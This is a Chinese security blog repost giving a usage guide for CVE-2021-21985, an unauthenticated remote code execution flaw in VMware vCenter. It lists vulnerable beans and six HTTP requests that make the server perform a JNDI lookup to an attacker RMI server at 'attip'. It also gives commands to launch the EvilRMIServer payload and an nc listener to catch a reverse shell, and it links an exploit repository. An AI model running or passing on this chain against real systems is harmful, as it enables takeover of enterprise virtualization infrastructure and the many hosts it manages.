CVE-2021-21985 Vmware vCenter unauth RCE

华盟原创文章投稿奖励计划

文章来源:Khan安全攻防实验室

VMware vCenter Server是VMware虚拟化管理平台,广泛的应用于企业私有云内网中。通过使用vCenter,管理员可以轻松的管理上百台虚拟化环境,同时也意味着当其被攻击者控制后会造成私有云大量虚拟化环境将被攻击者控制。

可以通过443访问vCenter Server的攻击者可以直接通过请求在目标主机上执行任意代码,并接管目标主机。攻击复杂度低,所需的条件少,不需要用户交互。

漏洞利用

0x01 漏洞

CVE-2021-21985 Vmware vCenter unauth RCE

分析可见:

https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis


0x02 漏洞利用

对beans对象进行构造,实现rce。

列表:

localizedMessageBundlevsanWorkerThreadFactoryvsanThreadPoolImplvsanServiceBundleActivatorvsanServiceFactoryvsanProviderUtils_setVmodlHelpervsanProviderUtils_setVsanServiceFactoryvsanQueryUtil_setDataServicevsanComponentsProviderImplcapabilityPropertyProviderImplpbmDataProviderImplvsanCapabilityCacheManagervsanCapabilityUtils_setVsanCapabilityCacheManagervsanUtils_setMessageBundlevsanFormatUtils_setUserSessionService

由于Vsphere UI使用的tomcat中间件,可以通过jndi rmi bypass

https://github.com/welk1n/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java

远程执行命令

  Step1https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject{"methodInput":[null]}  
Step2https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]} 
Step3https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod{"methodInput":["doLookup"]} 
Step4 https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments{"methodInput":[["rmi://attip:1097/ExecByEL"]]} 
Step5https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare{"methodInput":[]} 
Step6https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke{"methodInput":[]}


使用方法

  1. 启动rmi服务 java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMIServer attip 

    CVE-2021-21985 Vmware vCenter unauth RCE

  2. 启动reverse shell侦听

nc -lvvp 5555
  1. 执行以上payload,得到反向shell 

CVE-2021-21985 Vmware vCenter unauth RCE

项目地址:

https://github.com/xnianq/cve-2021-21985_exp

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/280787.html

发表评论